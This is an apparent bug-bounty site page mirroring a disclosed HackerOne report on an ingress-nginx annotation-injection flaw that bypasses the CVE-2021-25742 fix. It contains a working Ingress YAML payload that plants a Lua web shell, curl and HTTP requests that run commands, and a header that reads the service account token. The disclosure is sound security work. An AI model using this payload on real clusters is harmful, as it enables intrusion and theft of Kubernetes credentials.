Skip to content
RCE Disclosed report Advanced CVE-2021-25742CVE-2021-25746

Ingress nginx annotation injection causes arbitrary command execution

The ingress-nginx controller allowed the configuration-snippet annotation to inject arbitrary nginx configuration, including a Lua block, even after the alias directive was blacklisted. An attacker able to create or modify an Ingress could therefore run arbitrary commands inside the nginx container and read the Kubernetes service account token.

suanve Follow

Originally disclosed on HackerOne

Bounty$2,500 High 7.6 View original
  • Triaged in 42 days
  • Fixed in 12 months
  • Paid in 12 months
  • Disclosed after 13 months

Report Submission Form

Summary:

[add a summary of the vulnerability] For CVE-2021-25742 and CVE-2021-25746, I found a bypass method, which is fatal to the current measures taken by the team I can easily bypass restrictions and execute arbitrary commands in the express nginx container.

Kubernetes Version:

[add Kubernetes version & distribution in which the issue was found]

Server Version: version.Info{Major:"1", Minor:"25", GitVersion:"v1.25.2", GitCommit:"5835544ca568b757a8ecae5c153f317e5736700e", GitTreeState:"clean", BuildDate:"2022-09-21T14:27:13Z", GoVersion:"go1.19.1", Compiler:"gc", Platform:"linux/arm64"}

Component Version:

[if applicable, add component version the issue was found] ingress-nginx/controller-v1.4.0 https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.4.0/deploy/static/provider/cloud/deploy.yaml

Steps To Reproduce:

[add details for how we can reproduce the issue, including relevant cluster setup and configuration] In the latest version (1.4.0), alias was blacklisted,However, nginx supports lua. I can use other watches to insert any location configuration items. It is meaningless to simply restrict alias instructions. Your team should start from multiple perspectives.

  1. minikube start
  2. kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.4.0/deploy/static/provider/cloud/deploy.yaml

We use nginx. ingress. kubernetes The io/configuration snippet annotation can be found in nginx Insert a new location in conf and execute any command through lua.

Shell
cat > su.yml<<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/configuration-snippet: |
      more_set_headers "suanve"
            proxy_pass http://upstream_balancer;
                                proxy_redirect                          off;
        }
        location /suanve/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()["cmd"]);local rschar = rsfile:read("*all");ngx.say(rschar); } } location /fs/{
spec:
  rules:
  - host: suanve.susec.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 80

EOF

kubectl apply -f su.yml

This will cause the nginx configuration to be tampered with. We can execute any command in the corresponding ingress.

Shell
curl -v -H 'Host: suanve.susec.me' -H "cmd: id" 127.0.0.1/suanve/
*   Trying 127.0.0.1:80...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /suanve/ HTTP/1.1
> Host: suanve.susec.me
> User-Agent: curl/7.79.1
> Accept: */*
> cmd: id
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 10 Oct 2022 09:58:18 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
<
uid=101(www-data) gid=82(www-data) groups=82(www-data)
  • Connection #0 to host 127.0.0.1 left intact
HTTP
GET /suanve/ HTTP/1.1
Host: suanve.susec.me
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
cmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
Content-Length: 2



Supporting Material/References:

[list any additional material (e.g. screenshots, logs, etc.)]

image.png
image.png From the original on HackerOne
image.png
image.png
  • [attachment / reference]

https://hackerone.com/reports/1378175

https://github.com/kubernetes/ingress-nginx/issues/8503

Impact

Arbitrary command execution Get kubernetes credentials

The original report as published on HackerOne, by suanve. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the configuration-snippet annotation is inserted into the generated nginx configuration without adequate validation, so blacklisting individual directives such as alias does not stop other directives like content_by_lua_block from being injected.

Impact

An attacker who can create or edit an Ingress could execute arbitrary commands in the nginx container and read the Kubernetes service account token, potentially leading to further cluster access.

What the attacker needed

Ability to create or edit an Ingress; ingress-nginx controller v1.4.0

How it was found

  1. Start a local minikube cluster.
  2. Deploy the ingress-nginx controller v1.4.0 manifest.
  3. Create an Ingress whose configuration-snippet annotation injects a new location block using Lua.
  4. Apply the Ingress so the controller regenerates its nginx configuration.
  5. Send a request to the injected path with a command in a header and observe the command output.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Kubernetes lets you describe how web traffic should be routed using small configuration objects called Ingresses, and annotations add extra settings to them. The nginx ingress controller pasted one annotation's text straight into its own configuration file, so a user could sneak in extra nginx directives, including Lua code that runs shell commands. That meant someone who could create an Ingress could run commands inside the controller's container.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Kubernetes

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.